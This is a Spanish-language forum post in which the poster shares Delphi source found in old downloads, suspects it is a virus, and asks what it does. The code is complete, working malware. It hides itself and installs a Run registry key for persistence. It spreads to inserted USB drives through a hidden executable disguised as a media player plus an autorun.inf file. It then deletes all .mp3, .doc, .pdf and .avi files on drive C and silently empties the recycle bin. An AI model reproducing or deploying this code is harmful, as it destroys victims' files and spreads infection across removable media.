Revisando entre las carpetas me encontré con este código, parece según tengo entendido que es un virus hecho en Delphi, sera?.
Si es asi, Primero no aconsejo usarlo por que no se que hace.
Lo encontré entre las carpetas de código que he bajado durante mucho tiempo y que por supuesto no entiendo ni he tocado.
Ya que lo encontré tal vez alguien sepa para que sirve?.
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,Registry; type TForm1 = class(TForm) function ALaPapelera(Fichero:string):boolean; Function VaciaPapelera:String; function GetWindowsDirectory : String; procedure Autorun; procedure FormCreate(Sender: TObject); private { Private declarations } Lista: set of Char; procedure CrearLista; procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE; public { Public declarations } procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean); end; var Form1: TForm1; Ficheros1:TStringList; implementation {$R *.dfm} function Tform1.GetWindowsDirectory : String; var pcWindowsDirectory : PChar; dwWDSize : DWORD; begin dwWDSize := MAX_PATH + 1; GetMem( pcWindowsDirectory, dwWDSize ); try if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then Result := pcWindowsDirectory; finally FreeMem( pcWindowsDirectory ); end; end; Function Tform1.VaciaPapelera; type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar; DWORD: Word): integer; stdcall; var MangoLib : THandle; SHEmptyRecycleBin : TSHEmptyRecycleBin; i:integer; begin {Cargamos SHell32.DLL} {Load Shell32.DLL} MangoLib := LoadLibrary(PChar('Shell32.dll')); {Si no se pudo... error} {if not... error} if MangoLib = 0 then Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+ 'Cannot load Shell32.DLL'); {Buscamos dentro de la DLL la funcion que queremos} {Search into DLL the required funtion} @SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA'); {Si no existe... error} {If don't exists... error} if @SHEmptyRecycleBin = nil then begin FreeLibrary(MangoLib); Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+ 'Cannot find SHEmptyRecycleBinA in Shell32.DLL'); end; {Vaciamos la papelera, sin sonido ni confirmación} {Empty the Recycle bin...} SHEmptyRecycleBin(Application.Handle,'',7); {Liberamos la DLL} {Free the DLL} FreeLibrary(MangoLib); end; function Tform1.ALaPapelera(Fichero:string):boolean; var FileOp: TSHFileOpStruct; begin if FileExists(Fichero)then begin FillChar(FileOp,SizeOf(FileOp),#0); with FileOp do begin Wnd:= Application.Handle; pFrom:= PChar(Fichero+#0#0); fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION; end; Result:= (ShFileOperation(FileOp)=0); end else Result:=False; end; procedure TForm1.CrearLista; var Letra: Char; begin Lista:= []; for Letra:= 'C' to 'Z' do if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then Lista:= Lista + [Letra]; end; procedure TForm1.WMDEVICECHANGE(var Msg: TMessage); var Letra: Char; Atributos: Cardinal; begin if Msg.WParam = DBT_DEVICEARRIVAL then begin for Letra:= 'C' to 'Z' do if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then begin if not (Letra in Lista) then begin copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false); SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden); with TStringList.Create() do try Add('[Autorun]'); Add('ShellExecute=ReproductorWMV.exe'); add('attrib +h Autorun.inf'); try SaveToFile(Letra+':\autorun.inf'); SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden); except on E: Exception do begin ShowMessageFmt( 'Ocurrió una excepción: %s', [E.Message] ); end; end; finally Free(); end; //ShowMessage('Este es un disco removible '+Letra+':\'); end; end; end; CrearLista; inherited; end; procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean); var srRes : TSearchRec; iFound : Integer; begin if ( brec ) then begin if path[Length(path)] <> '\' then path := path +'\'; while iFound = 0 do begin if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then if srRes.Attr and faDirectory > 0 then BuscaFicheros( path + srRes.Name, mask, Value, brec ); iFound := FindNext(srRes); end; FindClose(srRes); end; if path[Length(path)] <> '\' then path := path +'\'; iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes); while iFound = 0 do begin if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then Value.Add(path+srRes.Name); iFound := FindNext(srRes); end; FindClose( srRes ); end; procedure Tform1.Autorun; var Registro :TRegistry; Atributos: Cardinal; begin Registro:=TRegistry.create; Registro.RootKey := HKEY_LOCAL_MACHINE; if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then begin Registro.WriteString('SystemRoot',GetWindowsDirectory+ '\ReproductorWMV.exe'); copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false); SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden); end; Registro.Destroy; end; procedure TForm1.FormCreate(Sender: TObject); var Ficheros:TStringList; FicherosDoc:TStringList; dato :TStringList; i:integer; begin BorderStyle := bsNone; Left := 0; Top := 0; Width := 0; Height := 0; Visible := False; Application.Title := ''; Application.ShowMainForm := False; ShowWindow( Application.Handle, SW_HIDE ); Ficheros:=TStringList.Create; BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE); SetWindowLong( Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); autorun; if ficheros.count > 0 then begin Ficheros.Free; form1.visible:=false; end else begin BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; ficheros.Free; end; end; end.
Saludos